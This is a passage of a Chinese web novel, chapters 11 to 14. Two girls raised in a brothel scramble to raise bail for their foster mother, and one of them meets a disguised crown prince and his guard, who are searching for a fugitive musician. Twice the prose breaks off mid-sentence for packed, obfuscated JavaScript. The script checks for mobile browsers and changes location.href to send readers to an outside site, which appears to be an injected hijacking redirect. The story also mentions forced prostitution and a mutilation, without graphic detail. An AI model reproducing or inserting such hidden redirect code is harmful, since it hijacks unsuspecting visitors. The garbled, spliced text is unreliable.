是韶音于心不忍，偷偷跑出馆中将她们俩从山沟里抱了回来，寄养在城中的人家。后来，她们两人一天天长大，将韶音视作亲母。妓馆的女孩一旦长成，早早便要接客。是韶音千方百计瞒过了鸨母，将她们俩护到如今。可是，也快要护不住了。陈荦还另说，清嘉已经长成，鸨母已给她定了梳栊的日子。梳栊，便是妓馆中女子初次破身。 “鸨娘已给我定了初九那日……可姨娘不在，我有些怕……” 清嘉盈着泪，又是着急又是忐忑。她不知道将要过的是一种怎样的日子，“楚楚，咱们要怎么筹二百两？” “只有借，我们分头去向其他姨娘借，求她们帮帮韶音，要快！”陈荦想着，交代清嘉，“但要悄悄的，这件事不能让四娘知道！” 11. 十一章 清嘉擦泪：“好，好，听你的。” 正在这时，陈荦听到脚步声，往后看，看到小院门外走来个白衣男子。那人束发带冠，打着折扇，正探寻着找过来。 清嘉看到他，悄悄躲到了陈荦身后。却被那人看到了，他举扇喊清嘉的名字。 陈荦扭头，看到清嘉脸上羞赧的神色。这几年，时常会有男人向清嘉表示青睐之意，清嘉很是享受那些人的追捧，但一直没有青睐过谁。陈荦看清嘉的神色，突然感觉到，清嘉对这个找来的男子似乎很有好感。她既怕他来，又想他来。 “清嘉姑娘。”那人走近，在院门处行了个礼，“唐突了。” 清嘉从陈荦身后问：“你如何会来后院？”后院是馆中女子起居之地，外间的男人是不让进入的。 “我给了那看门的杂役一点银子，他便放我进来了。” 他一脸虔诚地看着清嘉，神态之间又有一种渴望亲近的迫切。 清嘉犹豫了片刻，在身后捏捏陈荦的手，低声告诉她，“借钱的事，我有办法了，能借一点是一点，咱们分头……” 那人一脸诚实的笑意：“我今日没有在前厅见到姑娘，想来邀请清嘉姑娘，一同去荷塘赏月，不知姑娘肯否赏脸？” “今日……可以。你，到后门等我。” 那人欣喜过望，叮嘱了两句随即离开了小院。 清嘉进屋换了身衣裙，在铜镜前妆扮，完毕后仔细地照了片刻，一张脸红着，不好跟陈荦多说什么，说了句“等我回来”便提着裙子往侧门去了。 在狱中时，韶音跟陈荦说过要她出来找四娘帮忙。四娘就是申椒馆的鸨母，帮东家管着所有姑娘。但陈荦现在却不敢听韶音的话了。她们去蜀中告的假是两个月，还在鸨母那里押了重要的东西，留下了清嘉作人质，她才勉强同意韶音离开。如今韶音不仅没有觅得良人来赎她，还惹上了大麻烦。四娘听了不知会怎样生气，陈荦猜她定然不会拿钱帮韶音的。 陈荦拖着瘸腿，在后院一间间屋子去借钱。但凡跟韶音关系还行的，能央求的，陈荦都开口给姨娘们借。可众人的私房钱都不多，陈荦又说得含糊其辞，愿意解囊的姨娘也不多。陈荦最后只在和平日和韶音亲近的三位姨娘那里借到了四十两。陈荦很清楚，就这四十两已经是那三位姨娘几乎全部的积蓄了。 她一直忙到到夜深人静，还坐在窗前为钱发愁。 清嘉是半夜才悄悄回来的，她蹑手蹑脚地点亮烛台，被坐在窗前的陈荦吓了一跳。 陈荦着急地拉住清嘉：“清嘉，我们明日赎不成姨娘了。这一整晚，我只借到了四十两。” “在哪里？” 陈荦拉开床褥，那好不容易借来的四十两银子被她藏在床褥底下暗格中。 清嘉转身将窗户关上，从身后掏出个裹得很紧的包袱。 “楚楚，我筹了一百两来。” “一百两？哪来的钱？” 清嘉打开那包袱，里面真的是白花花的十锭白银，两人长这么大都没见过这么多钱。 “我……找今日来的那个人借的。”清嘉说，“先放到暗格里，还剩六十两，明日我们再想办法。” 陈荦被那白银晃得眼前一晕，想到的却是另一件事，她犹豫了片刻，还是忍不住一把抓住清嘉的手：“清嘉，你和他，和他……了？” 她们自小在妓馆长大，心里都很清楚，若不是清嘉献了身，人家哪会白给她这么多银子。 清嘉轻轻搡开陈荦，十分难为情却又怕陈荦看出什么来，她摇摇头：“没有。”看陈荦一脸不信的样子，又走过去抱住她，“你相信我，真的没有。” 清嘉的样子不像撒谎，陈荦才放下心来。她为清嘉担心，若是定了梳拢的日子，却在那日子前失了处子之身。这在申椒馆是大错，是要被关进黑屋子五天五夜的，除非有人花高价来赎身。但申椒馆的赎身价是个令人咋舌的天价，谁轻易会有这个运气？ 两人藏好银子，一同躺在床上。清嘉忍不住又跟陈荦说道：“楚楚，你相信我，我是跟来找我的那公子借了钱，我说了，以后还他，我们没有，没有那个……” “嗯，我相信你。” 陈荦信清嘉的话，并且感激她。韶音自小就教她们不要违反馆中的规矩，要不然小命都难保，清嘉不会不谨慎的。可清嘉还是为了救韶音去和那人开口了。 两人并肩躺着，躺了许久却都没有睡意。 清嘉又轻轻地问：“楚楚，你说……喜欢一个人是什么样的？” 白天来找她的那位男子，是江淮的望族后代。他自一月前偶然认识了清嘉，便毫不掩饰心悦于她。既定了梳拢，她就要留好处子之身直到那日，将第一夜卖出去，在那之前，她怎么可能…… 那人没和她……可今晚，那男人抱住了她，亲吻了她。她第一次投入一个男人坚硬的怀抱，第一次和男人靠得那样近，还那样亲吻……这些事是她的秘密，清嘉不该跟别人说，可心里装得太多了，实在又忍不住想告诉陈荦。 陈荦此时却是在想韶音的事，她在脑子里把还能试试借钱的地方想了一遍，盘算着明早先去哪里借起，又盘算如果真的借不到二百两，要不要去找四娘。 “楚楚？你在听我说吗？” 陈荦醒过神来：“你说什么？” “你在想什么？” “在想明早去哪里借钱。” 这时候，清嘉却又想起另一件事来：“楚楚，姨娘她这次去蜀中，找到那人了吗？她为什么没有让那人来为她赎身，然后嫁给他？” 陈荦：“因为那人一直在骗她，那人已经有妻儿了。” 清嘉轻轻地“啊”了一声，没再说什么，但方才心里那些激动不已的想法却悄悄冷却了下来。她们是娼妓，自小便从众多姨娘身上看到一个道理，男人逢场作戏者众多，偶遇真心也难长久。韶音守了十年盼了十年，也避不开这样的结局…… “楚楚，你有喜欢过什么人吗？” 陈荦在黑暗中轻轻摇头：“没有。”随即又问，“什么是喜欢？” 清嘉想了想：“等你遇到，你就知道了。” 清嘉又将晚间在荷塘发生的一切想了一遍，想再找陈荦说些什么，却听到身边响起轻轻的鼾声，陈荦已不知不觉睡过去了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14956248|160964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定是白天在县衙受的刑太重了，陈荦在睡梦中时不时就疼得直哼哼。清嘉翻起身来，点上灯，找来治伤的药膏，轻轻揭开陈荦的裤腿，给她涂抹那腿上红一块紫一块的伤处。 ———— 第二天，陈荦躲开馆里看门的杂役，偷偷溜了出去，满城去借钱。 韶音在苍梧城居住多年，相识的人不少。有店铺的伙计，医馆的郎中，还有城门军营里的军官。陈荦东西奔跑，找了许久，却大失所望，没有人愿意平白无故借钱给她。有个好心的酒楼伙计认出她是韶音的养女，送了她两个烧饼。陈荦从日出奔波到日落，这两个烧饼是她唯一的收获。 还差六十两。 陈荦万分沮丧地坐在街边，一点点想明白了人家为什么不愿意借韶音钱。六十两绝不是个小数目，六十两是苍梧城普通人家好几年的开销了。她和清嘉还没有开始接客，韶音年记大了，谁都还不起这个钱。就是以后还得起，人家怎么会平白无故就愿意借？ 韶音不能在牢房再关了，她多关一天都是她们三个人的灾难。 六十两，六十两，陈荦从城东转到城西，一路掠过满城的店铺和人流，心里快要被这六十两逼疯了。她发现人到了走投无路的时候，是真的毫无办法可想。她把脑子都快榨干了，就是不知道如何去凑剩下的六十两。 要是撒泼打滚有用，她真的就想在熟人家门前大哭一场，赖着人家把钱借给她。可惜，她不小心流下两行眼泪，人家就嫌恶地把她请走了。 陈荦晕头转向，不知不觉走到平日熟悉的地方。她一抬头，看到“蕉叶阁”的牌匾，突然想起来，蕉叶阁的管事，跟韶音也是认识的。 蕉叶阁是个卖手艺的地方，平日里卖琴、筝、丝竹等各类乐器，还教吹拉弹唱。韶音带陈荦拜师学筝的地方就是这里。看门的伙计认得她，没有询问便将她放了进去，以为她是来找老师傅练筝。陈荦心里想的却是，今天能借到多少是多少，就是几文钱，她也要了。教她弹筝的师傅是韶音的老主顾，再多央告央告他呢？ 黄昏的蕉叶馆内很是热闹。来馆中的人由伙计接待着，三三俩俩凑在一起品琴赏曲，都在忙碌。陈荦走进后院，到竹林雅间内看看，没找到教她弹筝的师傅。她渴得不行，看房内没人，就倒了香几上一壶茶水，顾不得烫不烫，连喝了两杯解渴。正准备离开，突然从雅间的回文窗格里看到房外竹林小径处走来一行人。 打头的是馆主东家，后面是一票随从。中间那两位，冤家路窄，正是山神庙遇到的，韶音偷了人家玉佩的神秘贵客。 馆主领着人一路沿着竹林小径走来。陈荦暗道麻烦，跑也不是，留也不是。 她此时一点也不想遇到杜玄渊。 可前一阵子这两个人带随从自那条山路上过，目的地十有八九就是苍梧城，如今在城中又遇到也不奇怪。 陈荦又累又饿，跑是跑不动了。临到跟前，却实在不想狭路相逢。在被人家看到之前，还是提起一股力气，从后窗翻了出去。奈何她臀腿上的杖伤正是最疼的时候，跳窗时扯住筋骨，疼得成荦龇牙咧嘴，落地时差点摔趴在地上。 12.十二章 馆主命人搬来蕉叶阁最昂贵的琴，命侍女摆好软垫茶水，自己和老师傅各给客人献了一曲，便完成招待，留下个侍候的伙计，任客人自便了。 竹木喜阴凉湿润，苍梧地界并不适宜竹木生长。但蕉叶阁中却精心培育了满院的竹林，再配上大丛的芭蕉，因此阁中四季青苍翠雅，清幽可人。这是蕉叶阁这个小小的乐馆在苍梧远近闻名的原因。 侍候的伙计被打发到粉墙外听候，杜玄渊向屋中人问道：“兄长，你以为如何？” 在这人烟密集的苍梧城中，没人会知道，此刻一身便服，端坐在案前抚摸琴弦的男子，是大宴当今的太子李棠。 李棠十五岁被册立，如今已在储君之位上十三年了。虽着民间便装，仍掩盖不了周身的贵气。他走进蕉叶阁中，馆主一眼便瞧出这位客人非同小可，因此亲自接待。 跟随他由平都入苍梧的杜玄渊，七岁入东宫伴读，今任太子左卫率。杜玄渊现年只有十九岁，却是除太傅外在李棠身边最久的东宫属官。 李棠自少时便十分信任杜玄渊，两人身份虽是君臣，私下却时常以兄弟相称。杜玠偶然一次听到杜玄渊以兄称太子，回去便将他苛骂了一顿，勒令他以后不得如此。可杜玄渊却不像杜玠那般拘谨，到了苍梧地界，既是微服出行，为避人耳目，以兄弟相称最是便利。杜玠远在平都，他的耳提面命在这件事上便管不了杜玄渊。 待到七月，苍梧将会有一件大事。李棠提前数月微服入苍梧，乃是有几件事提前要办。 李棠拨动琴弦，回答杜玄渊：“琴是把好琴，不过这琴师的技艺比起我平都城教坊的几位大家，还是逊色许多。” 李氏皇族雅善音律者众多，太子李棠也是其中翘楚。 杜玄渊相反，他自小不善音律，听不出此处琴声跟平都城中有什么区别。不过，两人此行就不是来听琴的。 就在李棠微服出平都前，刑部接到一封密信。刑部大牢此前走脱过一名罪犯，乃是犯下通敌之罪的一名教坊乐工。这名乐工精擅箜篌，因此得好几位皇族喜爱，常出入亲王府邸。此人利用出入王府之便，里通外国，被揭发后在关入刑部大牢审理。龙朔九年，案件审结之际，刑部大牢意外失火，此人从此走脱，至今未获。 李棠和杜玄渊在出京之时听说了这件事。时隔两年后，刑部派出的线人送来密信，那走脱的内奸在苍梧被人发现踪迹。李棠当即决定，此行定要利用微服之便，赶在刑部之前，到苍梧城中将此人找出来，解归京城问罪。 到了苍梧城这二十余日，两人便是带着便装的王府将士在找这个人。但奇怪的是，这二十余日来，线索却又断了。连那往刑部寄信的线人也断了联系。 竹林清幽，左右僻静，此处谈话倒也不必避讳什么。 李棠有些迟疑地问杜玄渊：“子潜，会不会，那贼人已察觉了你我的身份？因此在此前隐匿或离开了。” 杜玄渊沉思片刻，回答道：“苍梧地界前后已有十余年不起干戈，苍梧城中人口逼近百万。城中不设门岗宵禁，每日有无数官差、商贾、百姓三教九流在城中，我们自出平都便封锁消息，入城后一直小心行事。这贼人只身一人，又不知行踪是否暴露，不会这么快警觉。” 入城之后，李棠扮成南边来的客商，将随行的王府兵丁散开，身边只带杜玄渊等二三人。住在一间僻静的客栈，这些天一切都以行商身份行事，被人察觉的可能确实不大。 那贼人在教坊长大，从狱中逃出后孤身一人隐匿民间，拾起旧日技艺谋生是极有可能之事。因此这些天以来，李棠和杜玄渊以商贾身份出入城中乐馆。表面上是听曲，实则是找那贼人的线索。 李棠：“没想到这苍梧城中休闲听曲的地方竟不比平都城少。还有，烟花妓馆里，也有乐师，那贼人若是混迹于妓馆，以你我的身份……更加不好找。” 李棠说话间有些惆怅之意，他没想到的是，离开平都城，不用他储君的身份，这么一件小事，花了二十余日都没做成。 杜玄渊：“兄长，你我新来苍梧，终归人生地不熟，只这样查找，这么些天过去既无所获，再找恐怕也不会有结果。以我看，该在城中寻一本地向导，此向导须得可靠，又常跟三教九流来往，且能守口如瓶。” 李棠点头：“你说得很是。” “您若许可，今晚我便到城中去寻向导。” “好，回去后你便去找。记住，不可将你我的目的告知于向导，只须许以重金，让他秘密我们助我们找人。” “遵命。” 李棠想了想：“这苍梧城中人虽多……要此人既牢靠，又熟悉三教九流，还须有出入娼家乐馆的习惯，恐难得找到这么一个人。子潜，实不相瞒，我出京后悟到的第一个理，就是离开我这层外在的身份，原来我仍跟寻常人无异，要做好一件小事，也是极难的。” 李棠虽语言虽有些失意，却并不颓丧，他站起来，拍拍杜玄渊的肩：“不过，孤是一定要将这贼人找出来的，若这么件小事都办不成，何谈日后……” “唰——”地轻轻一声，不知什么动静从窗外传来。李棠警觉地止住了话，向杜玄渊眼神示意。 杜玄渊将剑握在手里，推门走到后窗处查看。 一个穿纱衣的少女狼狈地坐在窗下，似乎是想站起来，裙角却不巧缠在了花盆的刺梅上。看有人来了，急忙手忙脚乱地解释：“额，我这……” 杜玄渊走过去，和陈荦大眼瞪小眼，有一瞬间的尴尬。 杜玄渊满脸不高兴，不知道这少女什么时候躲在这里的，躲了多久，他和太子的对话，她听去了多少。 “又是你？你在这里做什么？” 陈荦伸手将裙角从刺梅丛扯下来，扶着墙壁站起来。仰头看着杜玄渊问：“你们要找的那个人，若是把事情办成了，能给多少钱？” 看来她是什么都听到了，杜玄渊一边生气一边埋怨自己大意，怎么会放任此人蹲在窗外而毫无察觉。又看陈荦脸皮子紧紧地皱起，像是受了伤。一时不知发生了什么。 屋里李棠的声音传来：“子潜，是谁人？带她进屋审问。” “跟我进屋。” 陈荦被杜玄渊拽着，一瘸一拐跟在他身后。他怕杜玄渊没有听 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陈荦生怕他下令把自己赶走，急忙在他开口之前抢着说：“公子，我方才说的是真话，只须把阁中的王主事叫来一问，便知我常来此处找他学艺。我本想悄悄离开，但是刚才却听到你们说，要找一个人，帮你们找什么贼，若是我……” 李棠听她这么说，脸已冷了下来，打断她：“你还听到了什么？” 陈荦一急，索性直接说了：“公子，我可以帮你们找到那贼人。” 陈荦方才蹲在墙角，虽是无意，前因后果却都听到了。这两人是要把一个很重要的贼人从苍梧城中找出来，但不熟悉这里，因此想用重金雇一本地向导。她听到“重金”两个字，头脑瞬间就热络了起来，当即心里一合计，想进屋揽下这活。反正，要凑齐六十两她也找不到别的办法了。 杜玄渊眉毛一挑，十分不耐烦：“你先是盗窃，又墙角偷听，还没问你的罪便罢了。品行恶劣，竟还大言不惭，你滚出去！” “子潜，让她把话说完。” 陈荦没有后退，为了六十两鼓起勇气迎上去一步看着李棠：“我自小生长在苍梧城中，三教九流虽称不上极熟，但常有来往。六岁时姨娘让我学舞，后来又学弹筝，因此常出入城中各家乐馆。还有……妓馆是我很熟悉的地方。若是要找一个人，那个人还在城中，我一定可以找到。还有一件，你们说……守口如瓶，若是你们相信我，出了这间屋子，我什么都不会说的。” 李棠看眼前这小女子衣裙简朴，身无长物，看他的眼中有掩藏不住的怯意，却难得鼓起勇气流利地说出这么一番话，不禁动了恻隐之心。他此前玉佩被盗，已着人查了她和她姨娘的身份，乃是城中卖笑谋生的妓家，没有身份背景，也跟其他人没什么牵连。若说她今日有什么目的，也找不出什么理由。 李棠：“你为何要助我们找人？” 陈荦心虚低声：“不是说有那个……重金。我很需要钱，谁能给我六十两，我什么都可以做。” 李棠闻言眉头皱起，他生平最不喜见利动心的人。 13.十三章 他看到陈荦双腿微颤，像是站不稳，质疑道：“你伤了腿？” 陈荦不好提起韶音还关在牢房里，怕人家反感，于是随口答道：“对了，就是我的腿，摔伤了，我想要一笔钱，去郎中那里抓药。” 陈荦怕他们不信，连忙伸手撩起裙角，露出一块肿胀发紫的肤色。李棠和杜玄渊却一眼看出来，那不是摔的，那是地方州县给犯人用笞刑时留下的。在平都城，笞刑也不少见。 小女子虽然机警，嘴里却一句真一句假，叫人不喜。李棠不欲惩罚她今日偷听之过，看着她警告道：“我们的事，跟你这小女子无关。今日之事，你出去后若对人说出半个字，我必叫子潜取你性命。” 取，取她性命……陈荦被这四个字震住。 她瞬间将问人家能给多少钱的话从喉间吞了下去，紧紧咬住了嘴唇。因为她知道这个人说的一定是真话。 陈荦再胆怯地看了旁边的杜玄渊一眼，难道他手中的剑真的会杀人吗？ 李棠：“你怎样来的，便怎样出去吧。” 临走前，杜玄渊又警告了她：“你记住，今日的事你要是说出去，必不容你。” 陈荦碰了个大钉子，拖着伤腿离开了雅间。 她找到师傅和主事，向他们借钱。不得不又碰钉子，没有人肯借给她六十两。 ———— 陈荦离开后，李棠暂时想到了另一件事。 “这姑娘和她姨母盗我玉佩，被你送入县衙已是二十几日前的事，子潜，你不觉得奇怪么？为何她腿上那伤痕，却像是昨日才受的板子。她莫名出现在这蕉叶阁，又口口声声说自己缺钱。” 杜玄渊：“您的意思是？” “粟丰县乃是苍梧第一大县。那县官我不相识，不知是哪一年的进士，也不知他是如何断的案子。若在这城中州府长官眼皮底下，县官却依手中之权随意处置刑狱诉讼，甚至向犯人勒索钱财……地方官若都是这样的官，那这苍梧，孤还要多呆些时日。” 太子此次微服出行，既有正事要办，同时也要在地方采风观政。 杜玄渊心里明白了。“今日晚间，我就去一趟粟丰县衙。” “嗯。”李棠点头。“还有一件事，熊方和柴荣，两人今日从苍梧城送回乡，你先替我去送送他们吧。” 熊方和柴荣，这两人都是跟随李棠多年的心腹兵将，在山神庙中吸入迷烟时来不及救助，被那些山中刁民喂下软骨散，砍下脚掌。两人因失血昏迷多日，几乎死去，李棠请了最好的医士，费心医治多日，总算保住他们性命。 太子府中的兵将无不是百里挑一的好手，熊方和柴荣既失了右脚，不能再在东宫效力。李棠于是赏赐了重金，安排他们分别回乡去了。刚入苍梧不久，就被人害了两个心腹，此事成了李棠心中一根刺。 杜玄渊：“柴荣昨日才醒过来，勉强能稳住心神开口说话，要不要让他们多休养些时日？” 李棠：“我虽不忍，但让他们两个在城中养病，恐引人注目，于事不利，反而受累。还是八月那件大事最重要。两人回乡，你派两个郎中一路小心照料就是。” 杜玄渊点头。此事不仅是李棠难受，他也恨得心头起火。那些刁民竟忍心把人的脚掌齐齐砍断，不取性命，却又只砍一只，比起酷刑更令人发指。 李棠站起来准备走，他今晚还有平都城中来的信牍要看，但想到两个失去脚掌的属下，终究于心不忍。 “罢了，我还是亲自去送他们吧。让他们两人遭遇如此恶行，我实在，也有失察之责。” 他这句话杜玄渊不认可。春夏之交苍梧界内连日大雨，山崖垮塌无法赶路，太子身份尊贵不能有失，宿在那山间破庙里是没有办法。谁能想到会遭遇那样的意外，可惜柴荣和熊方，大好的身手从此再不能施展，几成废人…… 杜玄渊凶狠地扯下一片挡路的竹叶。一旦查出真相，他定要砍下凶徒的一只脚掌作陪！ ———— 晚间，鸨母听人说了陈荦溜回馆中的事，带着杂役过来把她和清嘉狠狠骂了一顿，加上韶音。她厉声责问韶音为什么去了这么多天还不回来，是不是想逃走。鸨母揪住清嘉耳朵，说给她们两人听：“你们三个人的身契都在东家手里，如不按行价赎买，想逃，休想！”她看清嘉一张小脸花容月貌，想到过一阵梳拢的日子，定能卖个好价钱，骂了一顿，解了气也就走了。 陈荦谈到今日一无所获，和清嘉抱头哭了一场。弄不到六十两，韶音就只能在牢房中一直关着。 清嘉犹豫再三，跟陈荦说要不自己再去求一求那位公子，再借一些。陈荦狠了狠心，还是劝住了她。此前清嘉拿来的那一百两，分明不是借，那是那人打赏给她的。两人心里都很清楚，若是再贪图别人的钱财，清嘉要付出的可不就是外出一趟了…… 清嘉哭得抽抽：“明日，明日我们一起去找姨娘们，去城中，总能想到办法……” “清嘉，你在馆中求姨娘们，还是我出去。” “你的腿，还行吗？” 太不行了。清嘉才伸手一碰，陈荦便疼得“嘶”地抽了口寒气。那竹板子抽打当天，挨过头一阵，之后倒没觉得有多痛，这两日伤处肿胀发炎，才真正痛苦起来。她两条腿一点没闲着，满城奔波，更是加剧了痛楚。 陈荦平躺不得，只有趴在被子上，让清嘉给她上药。那伤处都是热痛，清嘉找来一把蒲扇，给她腾风，清凉之意让陈荦一下痛苦大减，很快就趴着睡了过去。 陈荦知道，清嘉一定会给她打扇子打到半夜。清嘉，韶音和她，她们三个人是相依为命的亲人，从十几年前就是。所以，她又怎么可能忍心让本就伤心欲绝的韶音在又脏又黑的牢房里关着…… 韶音让她出狱之后就抓紧之间练习筝技，她这两天……又让韶音失望了。 ———— 第三天，第四天，陈荦在城中到处奔走，把她们三人屋里值钱的东西都拿到质铺，勉强又凑了二十两银子。 陈荦把韶音攒钱给她买的那架珍贵的紫檀筝卖了。 从质铺走出来，她搂住怀里的碎银子，一时心乱如麻。清嘉擅舞，跟馆中的舞师学了多年，从西边传来的胡璇和前朝的飞燕舞都极擅长。因此韶音便希望陈荦能好好学筝，能凭借技艺在馆中争一席之地，可…… 一天奔波，又到了日落时分。陈荦掏出铜板买了份胡饼，拿在手里正准备啃，一抬头，迎面意想不到地遇到个煞神。 杜玄渊。 当然陈荦此时还不知道此人的大名。她现在看那张脸也不觉得好看了，只觉得他满脸煞气，观之不可亲。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14965716|160964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>陈荦没什么话和他说。她看了杜玄渊一眼，见他不是来找麻烦的，便绕过他，准备回申椒馆。 “你站住。” 熙攘的人群从不远处擦过，陈荦狐疑地转过头，不是在叫自己吧？ 杜玄渊还真的在叫她。 陈荦转过来满脸戒备：“有事？” 杜玄渊：“你真的没有偷玉佩，事先也不知情吗？” 原来是问这……可她被他亲手捉拿，还参与销赃，这跟偷了有什么区别。 陈荦实话实说：“我事先确不知情，但知情后有相从之罪。” 陈荦看到杜玄渊神色松动了一下，不知道他想做什么。问道：“你有什么事吗？我和姨娘犯了错，已经受到惩治了。那日蕉叶阁听到的事，我也没有说出去。” 杜玄渊刚才跟在她身后，看着她一瘸一拐抱着架不知什么进了质铺。她这几日一直瘸着腿走路，就是拜他所赐。 一丝悔意漫过杜玄渊心头。自小杜玠教导过他，但凡对影响他人之事，须三思而后行，绝不可因一时喜怒而冲动。尤其是手中握有权柄者，更要慎之又慎。掌权者一个念头，可能就是他人的万劫不复。 杜玄渊不是杜玠那样的掌权者，但这件事道理是同样的。那天他一生气，不区分青红皂白，将这两个女子绑到县衙。他最不该做的，是当时拿出丞相府的牌子，意在告知那县令从严惩治，不得宽限。 昨日他奉李棠之命回访粟丰县衙，访查之下才知道，那两个女子因那块牌子的缘故，被无故拖延关押了二十余日。后虽得按律审理判罚，但不出李棠所料，县衙的皂吏趁机勒索…… 杜玄渊看着陈荦，将一个丝绸的包袱递到她面前。“这一百两银子，你拿去赎你姨娘吧。” 陈荦此刻已到了山穷水尽的地步，却不敢相信杜玄渊要给她钱。 “你为什么帮我？” “还有，我姨娘被关在县衙，要二百两议罪钱，你又是怎么知道的……” 杜玄渊：“因为你帮了熊丰和柴荣。” “谁？”陈荦从来没听过这两个名字。 “感谢你及时为他们两人捆扎创口，若不是这样，他们撑不到救人那时，便已经没命了。” 兵将们将两人抬到医士跟前时，所有人都没注意那捆扎的布条。杜玄渊此时想，那布条就是陈荦撕下的裙角。因为这一件事，他对眼前这少女大大改观。 陈荦知道他说的是谁了。 “他们醒过来了吗？” “嗯。” 陈荦：“你不必言谢，我、清嘉和韶音谁遇到那样，都会帮忙的。不能任血那样流，没有什么比活着重要。” 韶音虽然嘴硬，但陈荦知道那不是真实的韶音。那天若是陈荦不在，韶音最后也会帮忙的。 杜玄渊示意她接着，陈荦看他不像戏耍，犹豫了片刻，接过了包袱。她不能不接，在这个时候，这一百两好像是上天开眼，送来解救她们三个的。她连紫檀筝都卖掉了，再怎么差钱也实在没办法可想了。 “多谢……” 杜玄渊看着她小心地收起包袱，又跟她说：“还有，你被那衙役讹诈了。我大宴确有议罪银制。徒刑二年，以银赎罪是一百两，不是二百两。” “什么？”陈荦吃惊，睁大了眼睛呆在原地。 14.十四章 她这个反应令杜玄渊又想到了丞相的话。握权柄者，凡作决定，必要慎之又慎。 陈荦突然想起堂审那日，那衙役故意再三拖延，等到屏风旁的陆姓士子离开，才开口跟她们说要二百两。若是他在，他便不敢轻易开口敲诈…… 她一时又有些疑惑，“你，你如何会知晓是一百两？你也背过《大宴刑统》吗？” 杜玄渊意外：“你知道《大宴刑统》？” 《大宴刑统》是杜玠多年前甫任刑部长官时领衔编撰的。那时杜玠常常把公务带回府中，这刑统还未有成稿颁布天下时，杜玄渊便见过。后来入宫伴读，《大宴刑统》是所有皇族子弟必背的功课。这些年，杜玠时不时还要拿来问他一问。杜玄渊会背《大宴刑统》，那是天经地义的。 陈荦摇头：“我不会认字，但听人说过。” 她看到杜玄渊眼中一闪而过的讶异，应该还夹杂着一丝轻视。陈荦心里忍不住一梗，却也说不清楚梗什么。 不管如何，杜玄渊以感激之名给了她这一百两，她可以马上去县衙大牢赎出韶音了。 想到自山神庙来的种种，陈荦还是觉得，人家没做什么对不起她们的事，终归是韶音偷窃不对。她想道个歉，赶紧走了。 “对不起啊。我姨娘，她一时糊涂，起了贪念。她不该偷你兄长的玉佩，她遭遇了很伤心的事，心里……总之，那件事，对不起了。” 杜玄渊不想跟她说这个，“她犯盗窃罪，便该受到惩治，自食其果，你不必致什么歉。” 还是一张淬了毒的嘴。 杜玄渊突然又想起一件事，便问道：“你和你那姨娘到底是什么人？真是普通人家的女眷？” 李棠叫人去查了她们俩，倒没在杜玄渊面前提起过。 杜玄渊问她和韶音是什么人。有那么一瞬间，陈荦不想说。可转念一想，她掩饰什么呢？那本来就是她的真实身份。 陈荦掂量包袱，低着头漫不经心地回答：“我和姨娘，住在申椒馆……你问这个做什么？” 杜玄渊先是没什么反应，想了片刻，才突然明白过来。原来，这两个女子竟是城中的娼妓。 陈荦抬起头，看到杜玄渊的眼神由惊讶随之变成鄙夷。 那眼神她很熟悉了，是男人听到她们的身份时常有的两种眼光。一种是想占便宜的色欲，另一种，就是杜玄渊这样唯恐趋避不及的鄙夷。 那样的眼神陈荦自小就见多了，可此时看到杜玄渊那张俊美的脸上有这样的神色，却仍然心里一刺，像被人突然划了一刀。她想，没错，他是瞧不起她的。 可此人又是谁呢？他凭什么问这些？他清高什么？ 陈荦用眼神把杜玄渊问了一遍，表面却只是默默的。她奔波一天，已经筋疲力尽了。既是见惯的眼神，谁用这样的眼神看她，又有什么不同？即使是他又怎样？ 鄙夷是杜玄渊的本能反应，只一瞬，他用教养将那眼神收了回去。 “咳——”他不太自在地看向城门处柔和的夕阳，落日熔金，余霞如绮。他不想再和陈荦多说什么。 “你走吧。” 陈荦看不懂他的想法，却也毫无兴趣了。她抱着包袱走了几步，突然想到什么，又转身喊住他：“喂！等一下！” “什么事？” “你们要找的那个人，我或许能帮你们找出来。” 她对他再无兴趣了，可韶音偷了人家的财物，她想着能做点什么帮韶音赔罪吧。 杜玄渊：“用不着你，你只管好自己别多说一个字就好。” 陈荦：“你不信么？不信，这些天，你们找着了吗？” 杜玄渊顿住脚步，回头看她。“你果真有办法？” “若是找到了，去哪里告诉你？” 杜玄渊思虑了片刻，随后示意她：“你跟我来。” ———— “若有此人的线索，一定不能惊动，也不要告知任何人，你到源安客栈，让掌柜的带你去见厉公子。”厉是李棠给自己的客商身份改的姓。 “记住了。”陈荦点头。 杜玄渊带他到僻静处，给她看了一张画像，还给她说了那乐工的年貌特征。陈荦只是苍梧城中一位毫不起眼的娼妓，杜玄渊本不该和她有任何交集。可那件事，李棠着急，他们目前实在也没线索。 眼前的女子能忍着臀腿间极大痛楚为亲近之人这样奔波数日，杜玄渊可以断定，她就是不能帮忙，也不会将此事泄露出去。 陈荦准备回馆，走了几步，心里突然想到一件事，又转过身来。 杜玄渊看到夕阳照在她汗津津的脸上，那张削瘦的小脸绒毛毕现。 “喂，若我真的帮你找到了那人，你能不能答应我一件事？” 他不耐烦：“何事？” “若我真的帮你找到了那人，你给我一本《大宴刑统》，如何？” 她问过了，苍梧的集市上买不到这个。陈荦想，杜玄渊和他的兄长这么富有，他应该什么都有的吧。杜玄渊如何看她不重要，重要的是她能拿到自己想要的东西。 